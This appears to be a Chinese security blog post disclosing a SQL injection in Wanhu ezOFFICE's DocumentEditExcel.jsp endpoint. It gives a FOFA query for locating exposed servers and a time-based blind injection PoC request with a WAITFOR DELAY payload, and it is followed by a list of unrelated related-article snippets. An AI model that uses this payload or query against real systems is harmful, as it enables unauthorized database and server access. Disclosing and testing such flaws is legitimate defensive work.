万户 ezOFFICE DocumentEditExcel.jsp SQL注入漏洞
0x01 产品简介
万户OA ezoffice是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品，统一的基础管理平台，实现用户数据统一管理、权限统一分配、身份统一认证。统一规划门户网站群和协同办公平台，将外网信息维护、客户服务、互动交流和日常工作紧密结合起来，有效提高工作效率。
0x02 漏洞概述
万户 ezOFFICE DocumentEditExcel.jsp接口存在SQL注入漏洞，未授权的攻击者可利用此漏洞获取数据库权限，深入利用可获取服务器权限。
0x03 复现环境
FOFA：app="万户ezOFFICE协同管理平台"
0x04 漏洞复现
PoC
GET /defaultroot/public/iWebOfficeSign/DocumentEditExcel.jsp;?RecordID=1%27%20WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Moziilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close相关文章：
万户 ezOFFICE DocumentEditExcel.jsp SQL注入漏洞
0x01 产品简介 万户OA ezoffice是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品，统一的基础管理平台，实现用户数据统一管理、权限统一分配、身份统一认证。统一规划门户网站群和协同办公平台，将外网信息维护、客户服务、互动交流和日…...
OpenCV 2 - 矩阵的掩膜操作
1知识点 1-1 CV_Assert(myImage.depth() == CV_8U); 确保输入图像是无符号字符类型,若该函数括号内的表达式为false，则会抛出一个错误。 1-2 Mat.ptr(int i = 0); 获取像素矩阵的指针，索引 i 表示第几行，从0开始计行数。 1-3 const uchar* current = mylmage.ptr(row); 获得…...
linux -- 内存管理 -- 页面分配器
linux内存管理 为什么要了解linux内存管理 分配并使用内存，是内核程序与驱动程序中非常重要的一环。内存分配函数都依赖于内核中一个非常复杂而重要的组件 - 内存管理。 linux驱动程序不可避免要与内核中的内存管理模块打交道。 linux内存管理可以总体上分为两大…...
StarRocks-3.1.0 单节点部署
1. 相关环境准备 FE： /opt/starrocks BE： /opt/starrocks 安装包下载 wget https://releases.starrocks.io/starrocks/StarRocks-3.1.0.tar.gz解压缩 tar -zxvf StarRocks-3.1.0.tar.gz 安装jdk (v2.5 及以上版本建议安装 JDK 11，我们使用…...
2023美赛A题之Lotka-Volterra【完整思路+代码】
这是2023年的成功，考虑到曾经付费用户的负责，2024年可以发出来了。去年我辅导队伍数量：15，获奖M为主，个别F，H，零S。言归正传，这里我开始分享去年的方案。由于时间久远，我…...
关于如何将Win幻兽帕鲁服务端存档转化为单人本地存档的一种方法(无损转移)
本文转自博主的个人博客：https://blog.zhumengmeng.work,欢迎大家前往查看。 原文链接：点我访问 **起因：**最近大火的开放世界缝合体游戏幻兽帕鲁的大火也是引起了博主的注意，然后博主和周边小伙伴纷纷入手，博主也是利…...
计算机网络——IP协议
前言 网络层的主要负责地址分配和路由选择,ip负责在网络中进行数据包的路由和传输。 IPv4报文组成（了解） IPv4首部：IPv4首部包含了用于路由和传输数据的控制信息，其长度为20个字节（固定长度）。 版本&#…...
Linux命令-ar命令（建立或修改备存文件，或是从备存文件中抽取文件）
补充说明 ar命令 是一个建立或修改备存文件，或是从备存文件中抽取文件的工具，ar可让您集合许多文件，成 为单一的备存文件。在备存文件中，所有成员文件皆保有原来的属性与权限. 语法 ar [-]{dmpqrtx}[abcfilNoPsSuvV] [memberna…...
flask基于python的个人理财备忘录记账提醒系统vue
在当今高度发达的信息中，信息管理改革已成为一种更加广泛和全面的趋势。 “备忘记账系统”是基于Mysql数据库，在python程序设计的基础上实现的。为确保中国经济的持续发展，信息时代日益更新，蓬勃发展。同时，随着信息社…...
【leetcode题解C++】257.二叉树的所有路径 and 404.左叶子之和 and 112.路径总和
257. 二叉树的所有路径 给你一个二叉树的根节点 root ，按 任意顺序 ，返回所有从根节点到叶子节点的路径。 叶子节点 是指没有子节点的节点。 示例 1： 输入：root [1,2,3,null,5] 输出：["1->2->5",&…...
Linux——文本编辑器Vim
Linux中的所有内容以文件形式管理，在命令行下更改文件内容，常常会用到文本编辑器。我们首选的文本编辑器是Vim，它是一个基于文本界面的编辑工具，使用简单且功能强大，更重要的是，Vim是所有Linux发行版本的默…...
以“美”为鉴，探寻香港比特币现货ETF的未来发展
出品｜欧科云链研究院 作者｜Hedy Bi 根据The Block于1月29日的报道，嘉实国际成为了首家向香港证监会提交比特币现货ETF申请的机构。早在去年12月22日，香港证监会发布了《有关证监会认可基金投资虚拟资产的通函》，明确…...
Unity项目打包的方法（之一）
在 Unity 中，将项目打包成 .unitypackage 文件和直接压缩 Assets、Packages 和 ProjectSettings 目录有几个关键区别，主要体现在打包方式、使用目的和包含的内容上。 打包成 UnityPackage .unitypackage 是 Unity 的一种打包格式，它允许你将项…...
如何安装MySQL
如何安装MySQL 前提条件下载MySQL在 Windows 上安装 MySQL验证 MySQL 安装 MySQL是当今工业界广泛使用的最流行的关系数据库管理软件之一。它通过各种存储引擎提供多用户访问支持。它得到了甲骨文公司的支持。在本节中，我们将学习如何为初学者下载和安装 MySQL。 前…...
如何编写.gitignore文件
文章目录 前端架构师教你如何编写.gitignore文件.gitignore文件简介.gitignore文件的语法规则.gitignore文件的最佳实践常见问题与解决 前端架构师教你如何编写.gitignore文件 .gitignore文件简介 .gitignore文件是Git版本控制系统中一个非常有用的工具。它可以指定一组文件或…...
U-Boot学习(7)：内核启动之bootz启动zImage源码分析
在上一节中，我们分析了U-BOOT初始化的流程，最后就是进入U-Boot的命令行中执行了，如果用户没有任何操作，则经过固定延时后将执行默认的bootcmd环境变量里的指令，那这里面肯定就是启动内核了。在U-BOOT简介及命令行指令详…...
[GN] DP学习笔记板子
文章目录 Bitset滚动数组多重背包区间DP树形dp状压dp模拟退火 Bitset 使用bitset需要引用<bitset>头文件。 其声明方法为: std::bitset<N>s; (N为s长度)常用函数： b.any() 判断b中是否存在值为1的二进制位 b.none() 判断b中是否不存在值为1的二…...
GLog开源库使用
Glog地址：https://github.com/google/glog 官方文档：http://google-glog.googlecode.com/svn/trunk/doc/glog.html 1.利用CMake进行编译，生成VS解决方案 （1）在glog-master文件夹内新建一个build文件夹，用…...
微信小程序如何实现点击上传图片功能
如下所示，实际需求中常常存在需要点击上传图片的功能，上传前显示边框表面图片显示大小，上传后将图形缩放到边框大小。 实现如下： .wxml <view class="{{img_src==?blank-area:}}" style="width:100%;height:40%;display:flex;align-items: center;jus…...
Windows Qt C++ VTK 绘制三维曲线
Qt 自带数据可视化从文档上看，只能实现三维曲面。 QwtPlot3D在Qt6.6.0上没编译通过。 QCustomPlot 只能搞二维。 VTK~搞起。抄官网demo。 后续需求： 1、对数轴 2、Y轴逆序 3、Z轴值给色带，类似等高线图的色带 期待各位大佬多多指导。…...
Echarts异步数据加载场景下，如何设计优雅的Loading动画以优化用户感知
1. 为什么需要优雅的Loading动画 当我们在网页中使用Echarts展示数据图表时，经常会遇到数据需要从服务器异步加载的情况。想象一下这样的场景：用户打开页面后，看到一个空白的坐标轴在那里"发呆"，既没有数据也没有任何提…...
健康赛道又一个爆款玩法：华一拼团+公排返利，到底怎么做？
大家好，我一家电商软件开发公司的负责人。现在健康赛道那可真是遍地黄金，躺赚的机会说来就来啦！你是不是一直苦于找不到能落地、还能高盈利的模式系统？今天我就给大家分享2026爆火的模式——华一健康模式系统，它直接照…...
零基础玩转OpenClaw：Phi-3-mini-128k-instruct镜像云端体验
零基础玩转OpenClaw：Phi-3-mini-128k-instruct镜像云端体验 1. 为什么选择云端体验OpenClaw 作为一个长期关注AI自动化工具的技术爱好者，我一直在寻找一个既强大又易于上手的本地AI助手框架。OpenClaw的出现让我眼前一亮，但第一次尝试本地安…...
Python与Rust的混合编程：结合两者的优势
Python与Rust的混合编程：结合两者的优势 前言 大家好，我是第一程序员（名字大，人很菜）。作为一个非科班转码、正在学习Rust和Python的萌新，最近我开始学习Python与Rust的混合编程。说实话，一开始…...
学术效率倍增：Zotero插件全生命周期管理的创新实践
学术效率倍增：Zotero插件全生命周期管理的创新实践 【免费下载链接】zotero-addons Zotero Add-on Market | Zotero插件市场 | Browsing, installing, and reviewing plugins within Zotero 项目地址: https://gitcode.com/gh_mirrors/zo/zotero-addons 一、…...
高纯水系统如何保障锂电池生产良率？
在锂电池制造过程中，生产用水纯度直接关联产品性能与安全。随着新能源汽车与储能产业快速发展，行业对电池一致性与稳定性的要求持续提升，超纯水已成为核心制程环节的关键辅材。一、锂电池生产用水标准 锂电池生产涉及正负材料制备、浆料调配、…...
WaveTools：解决鸣潮玩家性能优化与数据管理痛点的开源工具
WaveTools：解决鸣潮玩家性能优化与数据管理痛点的开源工具 【免费下载链接】WaveTools 🧰鸣潮工具箱 项目地址: https://gitcode.com/gh_mirrors/wa/WaveTools WaveTools是一款专为《鸣潮》PC玩家设计的开源辅助工具，集成性能优化、账…...
2026届毕业生推荐的五大AI科研神器实测分析
Ai论文网站排名（开题报告、文献综述、降aigc率、降重综合对比） TOP1. 千笔AI TOP2. aipasspaper TOP3. 清北论文 TOP4. 豆包 TOP5. kimi TOP6. deepseek 在运用人工智能辅助写作这个行为当中，所生成的内容常常带有十分明显的机械感。所…...
Lab4-Lab: traps MIT6.1810操作系统工程【持续更新】
kernel/trap.c当中是处理所有中断的代码。 RISC-V assembly (简单) 在这个lab当中，要求我们阅读一些汇编代码，并且了解c语言的某些语句对应的汇编是怎样的，同时了解不同寄存器的不同职责（例如ra寄存器是存放返回地址的寄存器…...
嘎嘎降AI和去AIGC哪个更适合文科论文？深度对比评测
嘎嘎降AI和去AIGC哪个更适合文科论文？深度对比评测 选降AI工具看三点：达标率、价格、处理后文本质量。 按这标准我花了一周研究主流工具。结论先说：嘎嘎降AI（www.aigcleaner.com）最适合大多数人——4.8元一篇&#x…...